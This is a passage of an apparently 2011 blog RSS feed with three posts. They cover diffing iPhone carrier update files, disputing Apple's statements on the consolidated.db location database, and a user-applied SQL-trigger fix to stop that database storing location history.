    Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.&lt;br /&gt; &lt;p&gt;Apple has a post on carrier updated &lt;a href=&quot;http://support.apple.com/kb/HT1970?viewlocale=en_US&quot; title=&quot;About carrier updates settings in iTunes&quot;&gt;here&lt;/a&gt;, which specifies the locations the files are downloaded to your machine. They have a &amp;quot;.ipcc&amp;quot; extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it&#039;s easy to compare them. You can unzip them, then you&#039;ll need to use plutil to convert the .plist files from binary form to XML with the command: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;plutil -convert xml1 &amp;lt;filename&amp;gt;.plist&lt;/font&gt; . After that, a simple diff -u showed the changes with context. This were helpfully explained by the &lt;a href=&quot;http://www.theiphonewiki.com/wiki/index.php?title=Carrier.plist&quot;&gt;iPhone Wiki&#039;s breakdown of the attributes&lt;/a&gt;. The relevant changes were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; The maximum number of Bluetooth modem tethering connections has been set to 5&lt;/li&gt;
&lt;li&gt;Facetime registration SMS&#039;es will not require an opt-in due to cost&lt;/li&gt;
&lt;li&gt;A roaming voicemail number has been explicitly set (an UK number)&lt;/li&gt;
&lt;li&gt;A new &amp;quot;blank&amp;quot; APN was added. I have no idea what this is for, and it doesn&#039;t seem to appear on the actual phone as an option.&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;Some carrier pictures have been updated&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Tue, 07 Jun 2011 10:05:23 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1033-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Apple's PR on Location Data</title>
    <link>http://www.singe.za.net/blog/archives/1031-Apples-PR-on-Location-Data.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1031-Apples-PR-on-Location-Data.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1031</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1031</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Apple responded to the location logging stuff with &lt;a href=&quot;http://www.apple.com/pr/library/2011/04/27location_qa.html&quot;&gt;a Q&amp;amp;A&lt;/a&gt; aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too. &lt;blockquote&gt;1. Why is Apple tracking the location of my iPhone? 




&lt;p&gt;&lt;strong&gt;
Apple is not tracking the location of your iPhone&lt;/strong&gt;. Apple has never done so and has no plans to ever do so. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;blockquote&gt;3. Why is my iPhone logging my location?





&lt;p&gt;&lt;strong&gt;
The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location&lt;/strong&gt;, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;blockquote&gt;4. Is this crowd-sourced database stored on the iPhone? 





&lt;p&gt;
The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. &lt;strong&gt;The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone&lt;/strong&gt;, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below). &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;Their claim pretty explicitly states, that they aren&#039;t storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The tables &amp;quot;CellLocationHarvest&amp;quot; &amp;amp; &amp;quot;CellLocationLocal&amp;quot; store both &amp;quot;Speed&amp;quot; and &amp;quot;Course&amp;quot; entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed &amp;amp; direction* and not just &amp;quot;tower data&amp;quot;. Granted, the &amp;quot;CellLocation&amp;quot; table containing the most significant amount of data, did not have valid data in the speed fields.&lt;/li&gt; 
&lt;li&gt;The table names imply different uses for e.g. we&#039;d expect CdmaCellLocation, CellLocation &amp;amp; WifiLocation tables to store the info they speak about above. But the &amp;quot;LocationHarvest&amp;quot; table not only stores valid speed &amp;amp; course fields, it also assigns a unique &amp;quot;Trip ID&amp;quot; e.g&amp;#160;D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.&lt;/li&gt; 
&lt;li&gt;Even if this was downloading offline caches of cell towers &amp;amp; APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We&#039;ve seen large data sets with &amp;quot;unique anonymous&amp;quot; identifiers deanonymised many times.&lt;/li&gt; 
&lt;li&gt;The data is good enough for forensic investigators to use, &lt;a href=&quot;https://alexlevinson.files.wordpress.com/2011/04/photo.jpg&quot;&gt;here&#039;s a screenshot&lt;/a&gt; from a book on iOS forensics: &amp;quot;consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use.&amp;quot; It strikes me that if it&#039;s good enough to use in the courts, then the implications may be a bit wider than Apple claims.&lt;/li&gt; 
&lt;li&gt;And finally, further down the QA, Apple contradicts their statement of &amp;quot;The iPhone is not logging your location&amp;quot; by explaining that it is, and this will be used for traffic information. This explains the &amp;quot;LocationHarvest&amp;quot; table mentioned above.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;blockquote&gt;8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?




&lt;p&gt; Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;On the up side, they acknowledge at least one bug:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?&lt;/p&gt; 
&lt;p&gt;It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below). &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;I haven&#039;t seen what is actually transmitted to Apple, so can&#039;t comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower &amp;amp; AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.&lt;/p&gt; 
&lt;p&gt;In conclusion, I certainly don&#039;t think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should &lt;a href=&quot;http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html&quot;&gt;take steps to protect themselves&lt;/a&gt;. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren&#039;t, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I&#039;d prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 28 Apr 2011 06:37:02 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1031-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Blocking iPhone Tracking (consolidated.db) Solved</title>
    <link>http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1030</wfw:comment>

    <slash:comments>4</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1030</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;After &lt;a href=&quot;http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html&quot;&gt;several days&lt;/a&gt; of trying all the different solutions proposed as the story has emerged, I think I&#039;ve finally got a solution that is both usable (i.e. doesn&#039;t break anything) and permanent (i.e. apply once and let dry).&lt;/p&gt; 
&lt;p&gt;My &lt;a href=&quot;http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html&quot;&gt;original suggestion&lt;/a&gt; of rubbish values + read-only didn&#039;t work, &lt;a href=&quot;http://www.redmondpie.com/untrackerd-prevent-iphone-location-tracking-cydia-jailbreak-only/&quot;&gt;untrackerd&lt;/a&gt; takes up valuable memory &amp;amp; battery and misses nearly all the worrying data &amp;amp; the SQL triggers file from &lt;a href=&quot;http://seclists.org/fulldisclosure/2011/Apr/408&quot;&gt;Tehtri&lt;/a&gt; also missed some data and breaks some functionality (most notably the compass).&amp;#160;&lt;/p&gt; &lt;p&gt;However, Tehtri&#039;s idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I&#039;ve edited their SQL (you can see the changes &lt;a title=&quot;Changes from the original&quot; href=&quot;/utils/iphone-tracker/singe-iphone-privacy-full.sql&quot;&gt;here&lt;/a&gt;, this is merely for those interested, don&#039;t run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I&#039;ve also extended it to include some tables they had missed, and not delete some data it shouldn&#039;t (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don&#039;t have to constantly recalibrate your compass (every minute or so it was). I haven&#039;t found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from &lt;a href=&quot;/utils/iphone-tracker/singe-iphone-privacy.sql&quot;&gt;here&lt;/a&gt;, and apply with the sqlite command:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;sqlite3 consolidated.db &#039;.read singe-iphone-privacy.sql&#039;&lt;/font&gt; &lt;/p&gt; 
&lt;p&gt;There are three ways to do this:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there &amp;amp; then.&lt;/li&gt; 
&lt;li&gt;On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.&lt;/li&gt; 
&lt;li&gt;On an unjailbroken (aka normal) phone, you can use the backup &amp;amp; restore method&amp;#160;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;If you&#039;re jailbroken, you can figure it out.&lt;/p&gt;
&lt;p&gt;Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I&#039;m hoping the documentation &lt;a href=&quot;https://code.google.com/p/iphonebackupbrowser/wiki/MbdbMbdxFormat&quot;&gt;here&lt;/a&gt; will allow a quick update of the file hash &amp;amp; size to let the restore work, but until I or someone else has time. You&#039;ll need to be jailbroken to protect yourself.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;For normal people, follow these instructions:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;Plug in your iPhone and let iTunes make a backup. Make sure the backup isn&#039;t encrypted, we&#039;ll do that later.&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Go to your backups directory. On OSX it will be in &lt;font face=&quot;courier new,courier,monospace&quot;&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/MobileSync/Backup/&lt;/font&gt;&amp;#160;&amp;#160;In Win7 it will be in&amp;#160;&lt;tt&gt;&lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Apple Computer\MobileSync\Backup\&lt;/font&gt; &lt;/tt&gt;other windows locations are listed &lt;a href=&quot;http://support.apple.com/kb/ht1766&quot;&gt;here&lt;/a&gt;.&amp;#160;It will contain several randomly named directories, change 
into the one with the latest timestamp (sort by last-modified date) to work on your last backup.&lt;/li&gt; 
&lt;li&gt;Get hold of the iphonels.py file. Either by copy pasting from the original &lt;a href=&quot;http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup&quot;&gt;here&lt;/a&gt;, or just downloading &lt;a title=&quot;iPhone backup list&quot; href=&quot;/utils/iphone-tracker/iphone-ls.py&quot;&gt;this one&lt;/a&gt;.&lt;/li&gt; 
&lt;li&gt;Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for &amp;quot;consolidated&amp;quot; e.g.: &lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;./iphone-ls.py | grep consolidated&lt;/font&gt;. It will look something like &#039;&lt;span style=&quot;font-family: &#039;courier new&#039;,courier,monospace;&quot;&gt;3086b93ce76d2847dc283405811e284a7c815839&#039;.&amp;#160;&lt;/span&gt;If you&#039;re on Windows, you&#039;ll need to install &lt;a href=&quot;http://www.python.org/download/windows/&quot;&gt;python&lt;/a&gt;.
&lt;/li&gt; 
&lt;li&gt;The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.&lt;/li&gt; 
&lt;li&gt;Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. &lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;sqlite3 3086b93ce76d2847dc283405811e284a7c815839 &#039;.read singe-iphone-privacy.sql&#039;&lt;/font&gt;, or use your &lt;a href=&quot;http://www.sqlite.org/cvstrac/wiki?p=ManagementTools&quot;&gt;favourite GUI&lt;/a&gt;.&lt;/li&gt; 
&lt;li&gt;Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
&lt;/li&gt; 
&lt;li&gt;Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.&lt;/li&gt; 
&lt;/ol&gt;&lt;em&gt;Update 1: Restoring to a non-jailbroken phone doesn&#039;t work. Updated the .sql with the &#039;vacuum&#039; command to flush out old data (thanks Istvan)&lt;/em&gt;.&lt;br /&gt; 
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 27 Apr 2011 00:43:32 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1030-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
